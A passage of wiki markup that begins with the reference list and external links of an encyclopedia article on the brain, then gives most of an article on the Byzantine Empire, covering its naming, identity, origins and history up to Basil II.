 }} (Statistic from page 161)
# {{note | 2 }} {{cite web
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 | work = New York magazine
 | url = http://www.bozosoft.com/mike/meat/brains-article.html | accessdate = 14 October | accessyear = 2005 }}
# {{note | tete_de_veau }} {{cite web
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 | author = Glover, William 
| title = Tales from the Loir: Tête de Veau
 | work = Cave Life in France
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 }}
# {{note | around_the_world }} {{cite web
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| title = Weird Foods: Mammal
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 }}
# {{note | 3 }} {{cite web
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 | author = Meder, Angela
 | title = Gorillas in African Culture and Medicine
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# {{note | 4 }} {{cite web
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 | title = Nutritional Summary: Notes Taken From a Recent Autism Society Meeting
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 }}
# {{note | 5 }} {{cite web
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 | title = Pork Brains in Milk Gravy
 | accessdate = 14 October | accessyear = 2005
 }}
# {{note | 6 }} {{cite web
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 | accessdate = 14 October | accessyear = 2005
 }}
# {{note | 7 }} {{cite web
 | url = http://www.genomenewsnetwork.org/articles/2004/01/23/mad_cow.php | author = Touchette, Nancy
 | title = Genome Affects Human Forms of “Mad Cow” Disease
 | work = Genome News Network
 | accessdate = 14 October | accessyear = 2005
 }}
# {{note | 8 }} {{cite book
 | url = http://search.barnesandnoble.com/booksearch/isbninquiry.asp?ean=9781582432533&amp;displayonly=CHP
 | title = The Aztec Treasure House | last = Connell | first = Evan S.
 | publisher = Counterpoint Press
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 }}
# {{note | 9 }} {{cite web
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 | title = Review of ''The Madness of Adam and Eve: How Schizophrenia Shaped Humanity''
 | author = Clarke, Bella
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 }}
#{{note|collinge}} {{cite journal
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 }}
#{{note|Collins}} {{cite journal
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 }}
&lt;/div&gt;

==External links==
* [http://www.stanford.edu/group/hopes/basics/braintut/ab0.html Brain Tutorial]
* [http://brainmuseum.org/ Comparative Mammalian Brain Collection]
* [http://www.rmcybernetics.com/science/cybernetics/ai_vision_perception_brain.htm RMCybernetics - The Brain and Artificial Intelligence]
* [http://braininfo.rprc.washington.edu BrainInfo for Neuroanatomy]
* [http://faculty.washington.edu/chudler/neurok.html Neuroscience for kids]
* [http://3dscience.com/advancedsearch.asp?stS=brain&amp;cboMatch=Any&amp;selectcategory=0&amp;txtMinPrice=&amp;txtMaxPrice=Free Brain Medical Clip Art].
* [http://purl.net/net/neurowiki neuroscience wiki]
* [http://www.brainmaps.org/ BrainMaps.org], interactive high-resolution digital brain atlas based on scanned images of serial sections of both primate and non-primate brains

{{nervous system}}

[[Category:Central nervous system]]
[[Category:Cerebrum]]
[[Category:Neuroscience]]
[[Category:Organs]]

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'''''Byzantine Empire''''' ([[Greek language|Greek]]: '''{{Polytonic|Βασιλεία Ῥωμαίων}}''') is the term conventionally used since the 19th century to describe the [[Greek language|Greek]]-speaking [[Roman Empire]] during the [[Middle Ages]], centered at its capital in [[Constantinople]]. In certain specific contexts, usually referring to the time before the fall of the [[Western Roman Empire]], it is also often referred to as the '''Eastern Roman Empire'''. There is no consensus on the starting date of the Byzantine period. Some place it during the reign of [[Diocletian]] (284–305) due to the administrative reforms he introduced, dividing the empire into a ''pars Orientis'' and a ''pars Occidentis''. Others place it during the reign of [[Theodosius I]] (379–395) and Christendom's victory over [[paganism]], or, following his death in 395, with the division of the empire into western and eastern halves. Others place it yet further in 476, when the last western emperor, [[Romulus Augustus]], was forced to abdicate, thus leaving sole imperial authority to the emperor in the [[Greek East]]. In any case, the changeover was gradual and by 330, when [[Constantine I (emperor)|Constantine I]] inaugurated his new capital, the process of further [[Hellenization]] and increasing [[Christianization]] was already underway.

==The term &quot;Byzantine Empire&quot;==

''Main article: [[Greek (name)|Names of the Greeks]]''

The name ''Byzantine Empire'' is derived from the original [[Greek language|Greek]] name for [[Constantinople]], [[Byzantium]]. The name is a modern term and would have been alien to its contemporaries. The Empire's native [[Greek language|Greek]] name was '''{{Polytonic|Ῥωμανία}}''' ''Romanía'' or '''{{Polytonic|Βασιλεία Ῥωμαίων}}''' ''Basileía Romaíon'', a direct translation of the [[Latin]] name of the Roman Empire, '''''Imperium Romanorum'''''. The term 'Byzantium' seems to have been first re-introduced by 15th century classicising Greeks who preferred it to 'Constantinople'. Through the translations of their texts into Latin, its usage was picked up north of the Alps by historians who were just becoming acquainted with the art of historiography. Hence, to the best of our knowledge, the term ''Byzantine Empire'' was introduced in 1557, about a century after the [[fall of Constantinople]] by German historian [[Hieronymus Wolf]], who presented a system of Byzantine historiography in his work ''Corpus Historiae Byzantinae'' in order to distinguish ancient Roman from medieval Greek history without drawing attention to their ancient predecessors. So far, it appears that there has been no study tracking the reasons why that term came to gain prominence. 

Nevertheless, standardization of the term began gradually in the 18th century, when French authors such as [[Charles de Secondat, Baron de Montesquieu|Montesquieu]] began to popularize it. Hieronymus himself was influenced by the rift caused by the 9th century dispute between Romans (Byzantines as we render them today) and [[Franks]], who, under [[Charlemagne]]'s newly formed empire, and in concert with the [[Pope]], attempted to legitimize their conquests by claiming inheritance of Roman rights in [[Italy]] thereby renouncing their eastern neighbours as true Romans. The [[Donation of Constantine]], one of the most famous [[forgery|forged]] documents in history, played a crucial role in this. Henceforth, it was fixed policy in the West to refer to the emperor in Constantinople not by the usual &quot;Imperator Romanorum&quot; (Emperor of the Romans) which was now reserved for the Frankish monarch, but as &quot;Imperator Graecorum&quot; (Emperor of the Greeks) and the land as &quot;Imperium Graecorum&quot;, &quot;Graecia&quot;, &quot;Terra Graecorum&quot; or even &quot;Imperium Constantinopolitanum&quot;. 

This served as a precedent for Wolf who was motivated, at least partly, to re-interpret Roman history in different terms. Nevertheless, this was not intended in a demeaning manner since he ascribed his changes to ''historiography'' and not ''history'' itself. Later, a [[derogatory use of 'Byzantine']] was developed.

==Identity, continuity, and consciousness==

&quot;[[Byzantium]] may be defined as a multi-ethnic empire that emerged as a Christian empire. It soon comprised the Hellenized empire of the East and ended its thousand year history, in 1453, as a [[Greek Orthodox]] state: An empire that became a [[nation]], almost by the modern meaning of the word&quot;.&lt;sup&gt;[[#References|1]]&lt;/sup&gt; 

In the centuries following the [[Arab]] and [[Lombards|Lombard]] conquests in the 7th century, its multi-ethnic (albeit not multi-national) nature remained even though its constituent parts in the [[Balkans]] and [[Asia Minor]] contained an overwhelmingly large Greek population. Ethnic minorities and sizeable communities of religious [[heretic]]s often lived on or near the borderlands, the [[Armenians]] being the only sizeable one.

The Byzantines identified themselves as Romans (Ρωμαίοι – Romans) which, by the 12th century, had already become a synonym for a [[Hellene]] (Έλλην – Greek). However, the term was used for mainly legal and administrative purposes. The Byzantines preferred to call themselves Romioi (Ρωμιοί – Christian Greeks with Roman citizenship). The Byzantines were also developing a national consciousness as residents of Ρωμανία (Romania, as the Byzantine state and its world were called). This nationalist awareness is reflected in literature, particularly in the [[acritic songs]], where frontiersmen (ακρίτες) are praised for defending their country against invaders, of which the most famous is the heroic or [[epic poem]] [[Digenis Acritas]].

To the Byzantines, &quot;Romans&quot; and &quot;Latins&quot; were two completely different, almost opposite terms. From all their contemporaries, it was only the [[Islamic Empire|Islamic world]] that referred to them under their constitutional name &quot;''Rum''&quot; (=Romans). Northern Europeans, Latins and Slavs (namely [[Russians]]), would refer to them simply as &quot;''Greeks''&quot;. Modern historians use terms such as ''Byzantines'', ''Greeks'', or even ''Byzantine Greeks'' interchangeably.

The overwhelming majority of the Byzantines were conscious of their continuity with the ancient Greeks. Even though the ancient Greeks were not Christians, the Byzantines regarded them as their ancestors. In fact, the Byzantines did not only refer to themselves as ''Romioi'' in order to retain both their Roman citizenship and their ancient Hellenic heritage. A common substitute for the term ''Hellene'' (which had pagan connotations) other than ''Romios'' was the term ''Graekos'' (Γραίκος). This term was often used by the Byzantines (along with ''Romios'') for ethnic self-identification.
{{History of Greece}}
Evidence of the use of the term ''Graekos'' can be found in the works of [[Priscus]], a historian of the 5th century AD. The historian stated in one of his accounts that while on an unofficial embassy to [[Attila the Hun]], he had met at Attila's court someone who dressed like a [[Scythian]] yet spoke Greek. When Priskos asked the person where he had learned the language, the man smiled and said that he was a Graekos by birth.   

Many authors spoke of the Eastern Roman Empire's natives as Greeks [Graekoi] or Hellenes such as [[Constantine Porphyrogenitus]] of the 10th century AD. His accounts discuss the revolt of a Slavic tribe in the district of Patras in the Peloponnesos. On a sidenote, the Slavic revolt was not the outcome of a larger Slavic invasion since most Slavs were placed in ''Sclavinai'' or segregated Slavic communities meant to provide Byzantine forces extra man-power for military campaigns. Constantine states that the Slavs who revolted first proceeded to sack the dwellings of their neighbors, the Greeks (ton Graikon), and next they moved against the inhabitants of the city of Patras.

The official dissolution of the Byzantine state in the 15th century did not immediately undo Byzantine society. During the [[Ottoman Greece|Ottoman occupation]] Greeks continued to identify themselves as both Ρωμαιοί (Romans) and Έλληνες (Hellenes), a trait that survived into the early 20th century and still persists today in modern [[Greece]], albeit the former has now retreated to a secondary folkish name rather than a national synonym as in the past.

[[Image:Tetrarch_system.PNG|frame|left|Map of the Roman Empire ca. 379 AD, showing the praetorian prefectures of [[Gaul]], [[Italy]], [[Illyricum]] and [[Oriens]] (east), roughly analogous to the four [[Tetrarch|Tetrarchs']] zones of influence after [[Diocletian|Diocletian's]] reforms.]]
==Origin==

[[Caracalla]]'s decree in 212, the ''Constitutio Antoniniana'', extended [[citizenship]] outside of Italy to all free adult males in the entire Roman Empire, effectively raising provincial populations to equal status with the city of [[Rome]] itself. The importance of this decree is historical rather than political. It set the basis for integration where the economic and judicial mechanisms of the state could be applied around the entire [[Mediterranean]] as was once done from [[Latium]] into all of Italy. Of course, integration did not take place uniformly. Societies already integrated with Rome such as [[Greece]] were favored by this decree, compared with those far away, too poor or just too alien such as [[Britain]], [[Palestine (region)|Palestine]] or [[Egypt]].

The division of the Empire began with the [[Tetrarchy]] (quadrumvirate) in the late 3rd century with [[Roman Emperors|Emperor]] [[Diocletian]], as an institution intended to more efficiently control the vast Roman Empire. He split the Empire in half, with two emperors (''Augusti'') ruling from Italy and Greece, each having as co-emperor a younger colleague of their own (''Caesares''). After Diocletian's voluntary abandonment of the throne, the Tetrarchic system began soon to crumble: the division continued in some form into the 4th century until 324 when [[Constantine I of the Roman Empire|Constantine the Great]] killed his last rival and became the sole emperor. Constantine decided to found a new capital for himself and chose [[Byzantium]] for that purpose. The rebuilding process was completed in 330.

Constantine renamed the city [[New Rome|Nova Roma]], but the populace would commonly call it [[Constantinople]] (in Greek, Κωνσταντινούπολις, ''Constantinoúpolis'', meaning Constantine's City). This new capital became the centre of his administration. Constantine deprived the single praetorian prefect of his civil functions, introducing regional prefects with civil authority. During the 4th century, four great &quot;regional prefectures&quot; were also created.

[[image:Constantine i.gif|right|150px|thumb|Emperor Constantine I the Great.]]

Constantine was also probably the first [[Christianity|Christian]] emperor. The religion, which had been persecuted under Diocletian, became a &quot;permitted religion&quot; and steadily increased its power as years passed, apart from a short-lived return to pagan predominance under the emperor [[Julian the Apostate|Julian]]. Although the empire was not yet &quot;Byzantine&quot; under Constantine, Christianity would become one of the defining characteristics of the Byzantine Empire, as opposed to the [[Paganism|pagan]] Roman Empire.

Constantine also introduced a new stable gold coin, the ''[[solidus (coin)|solidus]]'', which was to become the standard coin for centuries, and not only in the Byzantine Empire.

Another defining moment in the history of the Roman/Byzantine Empire was the [[Battle of Adrianople (378)|Battle of Adrianople]] in 378 in which the Emperor [[Valens]] and the best of the remaining Roman [[legion|legions]] were killed by the [[Visigoths]]. This defeat has been proposed by some authorities as one possible date for dividing the ancient and medieval worlds. The Roman Empire was divided further by Valens' successor [[Theodosius I]] (also called &quot;the Great&quot;), who had ruled both parts since 392: following the dynastic principle well established by Constantine, in 395 Theodosius gave the two halves to his two sons [[Arcadius]] and [[Flavius Augustus Honorius|Honorius]]; Arcadius became ruler of the eastern half, with his capital in Constantinople, and Honorius became ruler of the western half, with his capital in [[Ravenna]]. Theodosius was the last Roman emperor whose authority covered the entire traditional extent of the Roman Empire. At this point, it is common to refer to the empire as &quot;Eastern Roman&quot; rather than &quot;Byzantine.&quot;

==Early history==

The Eastern Roman Empire was largely spared the difficulties of the west in the [[3rd century|3rd]] and [[4th century|4th centuries]] (see [[Crisis of the Third Century]]) in part because urban culture was better established there and the initial invasions were attracted to the wealth of [[Rome]]. Throughout the 5th century, various invasions conquered the western half of the Roman Empire and at best only demanded tribute from the eastern half. [[Theodosius II]] fortified the walls of [[Constantinople]], leaving the city impenetrable to attacks: it was to be preserved from foreign conquest until 1204. To spare the Eastern Roman Empire from the invasion of the [[Huns]] of [[Attila]], Theodosius gave them subsidies of gold. Moreover, he favored merchants living in Constantinople who traded with the barbarians. His successor, [[Marcian]], refused to continue to pay the great sum. However, [[Attila]] had already diverted his attention from the Western Roman Empire and died in 453 after the [[Battle of Chalons]]. The Hunnic Empire collapsed and Constantinople was free from the menace of Attila. This started a profitable relationship between the Eastern Roman Empire and the remaining Huns. The Huns would eventually fight as mercenaries in Byzantine armies during the following centuries.

At the time since the fall of Attila, the true chief in Constantinople was the [[Alans|Alan]] general [[Aspar]]. [[Leo I]] managed to free himself from the influence of the barbarian chief favouring the rise of the [[Isauri]], a crude semi-barbarian tribe living in Roman territory, in southern [[Anatolia]]. Aspar and his son Ardabur were murdered in a riot in 471, and henceforth, Constantinople became free from foreign influences for centuries. Leo was also the first emperor to receive the crown not from a general or an officer, as evident in the Roman tradition, but from the hands of the [[patriarch]] of [[Constantinople]]. This habit became mandatory as time passed, and in the Middle Ages, the religious characteristic of the coronation had totally substituted the old form.  In 468, Leo unsuccessfully attempted to reconquer North Africa from the Vandals. By that time, the Western Roman Empire was already restricted to Italy (Britain had fallen to [[Angles]] and [[Saxons]], Spain fell to the [[Visigoths]], Africa fell to the [[Vandals]] and [[Gaul]] fell to the [[Franks]]). 

In 466, as a condition of his Isaurian alliance, Leo married his daughter Ariadne to the Isaurian Tarasicodissa, who took the name Zeno.  When Leo died in 474, Zeno and Ariadne's minor son (Leo I's grandson) succeeded to the throne as [[Leo II]], with Zeno acting as regent.  When Leo II died later that year, [[Zeno of the Byzantine Empire|Zeno I]] became emperor.  The end of the Western Empire is sometimes dated to 476, early in Zeno's reign, when the barbarian general [[Odoacer]] deposed the titular Western Emperor [[Romulus Augustus]], but declined to replace him with another puppet. To recover Italy, Zeno could only negotiate with the [[Ostrogoths]] of [[Theodoric]] who had been settled in [[Moesia]]. He sent the barbarian king in Italy as ''magister militum per Italiam'' (&quot;chief of staff for Italy&quot;). After the fall of [[Odoacer]] in 493, Theodoric, who had lived in Constantinople during his youth, ruled over Italy on his own, maintaining a merely formal obedience to Zeno. He revealed himself as the most powerful Germanic king of that age, but his successors were greatly inferior to him and their kingdom of Italy started to decline in the 530s. 

In 475, Zeno was deposed by a plot to elevate [[Basiliscus]] (the general who led Leo I's 468 invasion of North Africa) to the throne. Zeno recovered the throne twenty months later. However, Zeno had to face the threat coming from his Isaurian former official Illo and the other Isaurian, Leontius, who was also elected rival emperor. Isaurian prominence ended when an aged civil officer of Roman origin, [[Anastasius I]], became emperor in 491 and after a long war defeated them in 498. Anastasius revealed himself to be an energetic reformer and an able administrator. He perfected Constantine I's coin system by definitively setting the weight of the copper ''follis'', the coin used in most everyday transactions. He also reformed the tax system in which the State Treasury contained the enormous sum of 320,000 pounds of gold when he died.

==The age of Justinian I==
&lt;!--[[Image:Meister von San Vitale in Ravenna 004.jpg|right|thumb|200px|[[Justinian I]] depicted on one of the famous mosaics of the St. Vitale church in [[Ravenna]].]]--&gt;

The reign of [[Justinian I]], which began in 527, saw a period of extensive imperial conquests of former Roman territories (indicated in green on the map below). The 6th century also saw the beginning of a long series of conflicts with the Byzantine Empire's traditional early enemies, such as the [[Sassanid empire|Sassanid Persians]], [[Slavs]] and [[Bulgars]]. Theological crises, such as the question of [[Monophysitism]], also dominated the empire. 

[[Justinian I]] had perhaps already exerted effective control during the reign of his predecessor, [[Justin I]] (518–527). Justin I was a former officer in the imperial army who had been chief of the guards to [[Anastasius I (emperor)|Anastasius I]], and had been proclaimed emperor (when almost 70) after Anastasius' death. Justinian was the son of a peasant from [[Illyricum]], but was also a nephew of Justin. Justinian was later adopted as Justin's son. Justinian would become one of the most refined people of his century, inspired by the dream to re-establish Roman rule over all the Mediterranean world. He reformed the administration and the law, and with the help of brilliant generals such as [[Belisarius]] and [[Narses]], he temporarily regained some of the lost Roman provinces in the west, conquering much of [[Italy]], North [[Africa]], and a small area in southern [[Spain]].

In 532, Justinian secured for the Eastern Roman Empire peace on the eastern frontier by signing an &quot;eternal peace&quot; treaty with the [[Sassanid dynasty|Sassanid Persian]] king [[Khosrau I of Persia|Khosrau I]]. However, this required in exchange a payment of a huge annual tribute of gold. 

Justinian's conquests in the west began in 533 when Belisarius was sent to reclaim the former province of North Africa with a small army of 18,000 men who were mainly mercenaries. Whereas an earlier expedition in 468 had been a failure, this new venture was successful. The kingdom of the [[Vandals]] at [[Carthage]] lacked the strength of former times under King [[Gaiseric]] and the Vandals surrendered after a couple of battles against Belisarius' forces. General Belisarius returned to a [[Roman triumph]] in [[Constantinople]] with the last Vandal king, [[Gelimer]], as his prisoner. However, the reconquest of [[North Africa]] would take a few more years to stabilize. It was not until 548 that the main local independent tribes were entirely subdued.

[[Image:Byzantium550.png|thumb|300px|right|Map of the Byzantine Empire around 550 A.D.]]
 
In 535, Justinian I launched his most ambitious campaign, the reconquest of Italy. At the time, Italy was still ruled by the [[Ostrogoth|Ostrogoths]]. He dispatched an army to march overland from [[Dalmatia]] while the main contingent, transported on ships and again under the command of General Belisarius, disembarked in [[Sicily]] and conquered the island without much difficulty. The marches on the Italian mainland were initially victorious and the major cities, including [[Naples]], [[Rome]] and the capital [[Ravenna]], fell one after the other. The Goths were seemingly defeated and Belisarius was recalled to Constantinople in 541 by Justinian. Belisarius brought with him to Constantinople the Ostrogoth king [[Witiges]] as a prisoner in chains. However, the Ostrogoths and their supporters were soon reunited under the energetic command of [[Totila]]. The ensuing [[Gothic Wars]] were an exhausting series of sieges, battles and retreats which consumed almost all the Byzantine and Italian fiscal resources, impoverishing much of the countryside. Belisarius was recalled by Justinian, who had lost trust in his preferred commander. At a certain point, the Byzantines seemed to be on the verge of losing all the positions they had gained. After having neglected to provide sufficient financial and logistical support to the desperate troops under Belisarius' former command, in the summer of 552 Justinian gathered a massive army of 35,000 men (mostly Asian and [[Germanic peoples|Germanic]] mercenaries) to contribute to the war effort. The astute and diplomatic [[eunuch]] [[Narses]] was chosen for the command. Totila was crushed and killed at the [[Battle of Busta Gallorum|Busta Gallorum]]. Totila's  successor, [[Teias]], was likewise defeated at the [[Battle of Mons Lactarius]] (central Italy, October 552). Despite continuing resistance from a few Goth garrisons, and two subsequent invasions by the [[Franks]] and [[Alamanni]], the war for the reconquest of the Italian peninsula came to an end.

Justinian's program of conquest was further extended in 554 when a Byzantine army managed to seize a small part of [[Spain]] from the [[Visigoths]]. All the main [[Mediterranean]] islands were also now under Byzantine control. Aside from these conquests, Justinian updated the ancient [[Roman law|Roman legal code]] in the new [[Corpus Juris Civilis]]. Even though the laws were still written in [[Latin]], the language itself was becoming archaic and poorly understood even by those who wrote the new code. Under Justinian's reign, the Church of [[Hagia Sophia|Hagia Sofia]] (''&quot;Holy Wisdom&quot;'') was constructed in the 530s. This church would become the center of Byzantine religious life and the center of the [[Eastern Orthodoxy|Eastern Orthodox]] form of [[Christianity]]. The 6th century was also a time of flourishing culture and even though Justinian closed the university at [[Athens]], the Eastern Roman Empire produced notable people such as the epic poet [[Nonnus]], the lyric poet [[Paul the Silentiary]], the historian [[Procopius]], the natural philosopher [[John Philoponos]] and others.

The conquests in the west meant that the other parts of the Eastern Roman Empire were left almost unguarded even though Justinian was a great builder of fortifications in Byzantine territories throughout his reign. [[Khosrau I of Persia]] had, as early as 540, broken the pact previously signed with Justinian and plundered [[Antioch|Antiochia]]. The only way Justinian could forestall him was to increase the sum he paid to Khosrau I every year. The [[Balkans]] were subjected to repeated incursions where [[Slavs]] had first crossed the imperial frontiers during the reign of [[Justin I]]. The Slavs took advantage of the sparsely-deployed Byzantine troops and pressed on as far as the [[Gulf of Corinth]]. The [[Kutrigur]] [[Bulgars]] had also attacked in 540. The Slavs invaded [[Thrace]] in 545 and in 548 assaulted [[Dyrrachium]], an important port on the [[Adriatic Sea]]. In 550, the [[Sclaveni]] pushed on as far to reach within 65 kilometers of [[Constantinople]] itself. In 559, the Eastern Roman Empire found itself unable to repel a great invasion of [[Kutrigurs]] and [[Sclaveni]]. Divided in three columns, the invaders reached [[Thermopylae]], the [[Gallipoli]] peninsula and the suburbs of [[Constantinople]]. The [[Slavs]] feared the intact power of the [[Danube]] Roman fleet and of the Utigurs (paid by the Romans themselves) more than the resistance of the ill-prepared Byzantine imperial army. This time the Eastern Roman Empire was safe, but in the following years the Roman suzerainty in the Balkans was to be almost totally overwhelmed. 

Soon after the death of Justinian in 565, the Germanic [[Lombards]], a former imperial ''foederati'' tribe, invaded and conquered much of Italy. The Visigoths conquered [[Cordoba]], the main Byzantine city in Spain, first in 572 and then definitively in 584. The last Byzantine strongholds in Spain were swept away twenty years later. The [[Turkic peoples|Turks]] emerged in the [[Crimea]], and in 577, a horde of some 100,000 Slavs had invaded [[Thrace]] and [[Illyricum]]. [[Sirmium]], the most important Roman city on the [[Danube]], was lost in 582, but the Eastern Roman Empire managed to maintain control of the river for several more years even though it increasingly lost control of the inner provinces. [[Image:theodora ravenna.jpg|thumb|300px|[[Theodora (6th century)|Empress Theodora]] and her retinue (fresco from [[Basilica of San Vitale]], 6th century).]]

Justinian's successor, [[Justin II]], refused to pay the tribute to the [[Sassanid Empire]]. This resulted in a long and harsh war which lasted until the reign of his successors [[Tiberius II Constantine|Tiberius II]] and [[Maurice (emperor)|Maurice]], and focused on the control over [[Armenia]]. Fortunately for the Byzantines, a civil war broke out in the Persian Empire. Maurice was able to take advantage of his friendship with the new king [[Khosrau II of Persia|Khosrau II]] (whose disputed accession to the Persian throne had been assisted by Maurice) in order to sign a favorable peace treaty in 591. This treaty gave the Eastern Roman Empire control over much of western Armenia. Maurice reorganized the remaining Byzantine possessions in the west into two [[Exarch]]ates, the [[Exarchate of Ravenna|Ravenna]] and the [[Exarchate of Carthage|Carthage]]. Maurice increased the Exarchates' self-defense capabilities and delegated them to civil authorities.

The [[Eurasian Avars|Avars]] and later the [[Bulgars]] overwhelmed much of the [[Balkans]], and in the early 7th century the [[Sassanid]]s invaded and conquered Egypt, Palestine, [[Syria]] and [[Armenia]]. The Persians were eventually defeated and the territories were recovered by Emperor [[Heraclius]] in 627. However, the unexpected appearance of the newly-converted and united [[Islam|Muslim]] [[Arab]]s took the territories by surprise from an empire exhausted from fighting against Persia, and the southern provinces were overrun. The Eastern Roman Empire's most catastrophic defeat of this period was the [[Battle of Yarmuk]], fought in Syria. Heraclius and the military governors of Syria were slow to respond to the new threat, and Byzantine [[Mesopotamia]], Syria, Egypt, and the [[Exarchate of Africa]] were permanently incorporated into the Muslim Empire in the 7th century, a process which was completed with the fall of [[Carthage]] to the [[Caliphate]] in 698. 

The [[Lombards]] continued to expand in northern Italy, taking [[Liguria]] in 640 and conquering most of the [[Exarchate of Ravenna]] in 751, leaving the Byzantines with control of only small areas around the toe and heel of Italy, plus some semi-independent coastal cities like [[Venice]], [[Naples]], [[Amalfi]] and [[Gaeta]].

==The fight for survival==

The Eastern Roman Empire's loss of territory was offset to a degree by consolidation and an increased uniformity of rule.  Emperor [[Heraclius]] fully Hellenized the Eastern Roman Empire by making [[Greek language|Greek]] the official language, thus ending the last remnants of [[Latin language|Latin]] and ancient Roman tradition within the empire. The use of Latin in government records, (Latin titles such as ''Augustus'' and the concept of the Eastern Roman Empire being one with Rome) fell into abeyance, which allowed the empire to pursue its own identity. Many historians mark the sweeping reforms made during the reign of Heraclius as the breaking-point with Byzantium's ancient Roman past. It is common to refer to the Eastern Roman Empire as &quot;Byzantine&quot; instead of as &quot;East Roman&quot; from this point onwards. Religious rites and religious expression within the empire were now also noticeably different from the practices upheld in the former imperial lands of western Europe. Within the empire, the southern Byzantine provinces differed significantly in culture and practice from those in the north, observing [[Monophysite]] [[Christianity]] rather than [[Eastern Orthodoxy|Chalcedonian Orthodox]]. The loss of the southern territories to the Arabs further strengthened Orthodox practices in the remaining provinces.[[Image:ByzantineEmpire717AD.png|thumb|right|400px|The Byzantine Empire at the accession of Leo III, c.717AD]]

[[Constans II]] (reigned 641–668) subdivided the empire into a system of military provinces called ''[[thema|thémata]]'' (themes) in an attempt to improve local responses to the threat of constant assaults. Outside of the capital, urban life declined while Constantinople grew to become the largest city in the Christian world. Several attempts to conquer Constantinople by the Arabs failed in the face of the [[Byzantine navy|Byzantines' superior navy]], the Byzantines' monopoly over the still-mysterious incendiary weapon ([[Greek fire]]), their strong city walls, and the skill of Byzantine generals and warrior-emperors such as [[Leo III]] the [[Isauria]]n (reign 717–741). Once the assaults were repelled, the empire's recovery resumed.

In his landmark work ''[[The History of the Decline and Fall of the Roman Empire]]'', the 18th century historian [[Edward Gibbon]] depicted the Byzantine Empire of this time as effete and decadent. However, an alternate examination of the Byzantine Empire shows instead that the empire was a military [[superpower]] during the early Middle Ages. Factors contributing to this view entail the empire's [[heavy cavalry]] (the ''[[cataphract]]s''), its subsidization (albeit inconsistent) of a free and well-to-do peasant class forming the basis for cavalry recruitment, its extraordinarily in-depth defense systems (the themes), and its use of subsidies in order to make Byzantium's enemies fight against one another. Other factors include the empire's prowess at intelligence-gathering, a communications and logistics system based on [[mule]] trains, a superior navy (although often under-funded), and rational military strategies and doctrines (not dissimilar to those of [[Sun Tzu]]) that emphasized stealth, surprise, swift maneuvering and the marshalling of overwhelming force at the time and place of the Byzantine commander's choosing.

After the siege of 717 in which the Arabs suffered horrific casualties, the [[Caliphate]] was no longer a serious threat to the Byzantine heartland. It would take a different civilization, that of the [[Seljuk Turks]], to finally drive the imperial forces out of eastern and central [[Anatolia]].

The 8th century was dominated by controversy and religious division over [[iconoclasm]]. [[Icon|Icons]] were banned by Emperor [[Leo III]], leading to revolts by iconophiles throughout the empire. After the efforts of [[Byzantine Empress Irene|Empress Irene]], the [[Second Council of Nicaea]] met in 787 and affirmed that icons could be venerated but not worshipped. Irene also attempted a marriage alliance with [[Charlemagne]]. This alliance would have united the two empires and thus would have recreated the Roman Empire (the two European empires both claimed the title). Moreover the alliance would have created a European superpower comparable to the strength of ancient Rome. However, these plans were destroyed when Irene was deposed. The iconoclast controversy returned in the early 9th century, only to be resolved once more in 843 during the regency of Empress [[Theodora (9th century)]], who restored the icons. These controversies further contributed to the disintegrating relations with the [[Catholicism|Roman Catholic Church]] and the [[Holy Roman Empire]], both of which continued to increase their independence and power.

==Golden era==
[[Image:1025AD.PNG|thumb|400px|The Byzantine Empire under Basil II, c.1025AD]]

The Eastern Roman Empire reached its height under the [[Macedonian dynasty|Macedonian]] emperors of the late [[9th century|9th]], [[10th century|10th]] and early [[11th century|11th centuries]]. During these years the Empire held out against pressure from the Roman church to remove Patriarch [[Photius I of Constantinople|Photios]], and gained control over the [[Adriatic Sea]], southern Italy, and all of the land held by the [[Bulgaria]]ns. The cities of the empire expanded, and prosperity was able to spread across the provinces thanks to the empire's new-found security. The population of the empire rose, and production increased, stimulating new demand while also helping to encourage [[trade]]. Culturally, this was a productive period of Byzantine history, as there was considerable growth in education and learning. Ancient texts were preserved and patiently re-copied. [[Byzantine art]] flourished, and brilliant [[mosaics]] graced the interiors of new churches, which were being built across the empire in this period.

The soldier emperors [[Nicephoros II Phocas]] (reigned 963-969) and [[John I Tzimiskes]] (969-976) expanded the empire well into [[Syria]], defeating the emirs of north-west [[Iraq]] and reconquering [[Crete]] and [[Cyprus]]. At one point under John, the empire's armies even threatened [[Jerusalem]], far to the south. The emirate of [[Aleppo]] and its neighbours became vassals of the empire in the east, where the greatest threat to the empire was the Egyptian [[Fatimid]] kingdom. Under the emperor [[Basil II]] (reigned 976-1025AD), the Bulgarians, who had conquered much of the Balkans from the Byzantines since their arrival three hundred years previously, became the target of annual campaigns by the Byzantine army. The war was to drag on for nearly twenty years, but eventually at the [[battle of Kleidon]] the Bulgarians were completely defeated. The [[Bulgarian army]] was captured, and it is said that 99 out of every 100 men were blinded, with the remaining hundredth man left with one eye so as to lead his compatriots home. When the Bulgarian [[Tsar]] saw the broken remains of his once gallant army, he died of shock. In 1014, Bulgaria surrendered, and became part of the empire. This stunning victory restored to the empire the [[Danube]] frontier, which had not been held since the days of the emperor Heraclius (reigned 610-641AD). The empire also gained a new ally (yet sometimes also an enemy) in the new [[Varangian]] state in [[Kiev]], from which the empire received an important mercenary force, the [[Varangian|Varangian Guard]], in exchange for Basil's sister Anna as a wife for the Varangian King Vladimir.

[[image:Basilios_II.jpg|thumb|200px|Emperor Basil II the Bulgar Slayer who reigned from 976 A.D. to 1025 A.D.]]The Byzantine Empire now stretched from [[Azerbaijan]] and [[Armenia]] in the east, to [[Calabria]] in [[Southern Italy]] to the west. Many successes had been achieved, ranging from the conquest of [[Bulgaria]], to the annexation of Armenia, to the total annihilation of an invading force of [[Egyptians]] outside [[Antioch]]. Yet even these victories were not enough; Basil considered the continued [[Arab]] occupation of [[Sicily]] (it had been lost to the [[Arabs]] c.902AD), to be an outrage. Accordingly, he planned to reconquer the island, which had belonged to the empire for over three hundred years (c.550-c.900AD). However, his death in 1025AD put an end to the project. Basil's reign was the culmination of over three hundred years of desperate struggle, which had seen the Byzantine empire fighting for its very survival, and reaching the nadir of its fortunes with two sieges of Constantinople in 674-78, and 717-18 AD. Yet the empire had clawed its way back from the brink of destruction, and by 1025AD Byzantium was once again the greatest power in the Mediterranean. Such was the impression that the formidable Byzantine army built up during this period, that the mere threat of an Imperial Army marching eastwards was enough to keep local rulers in line. 

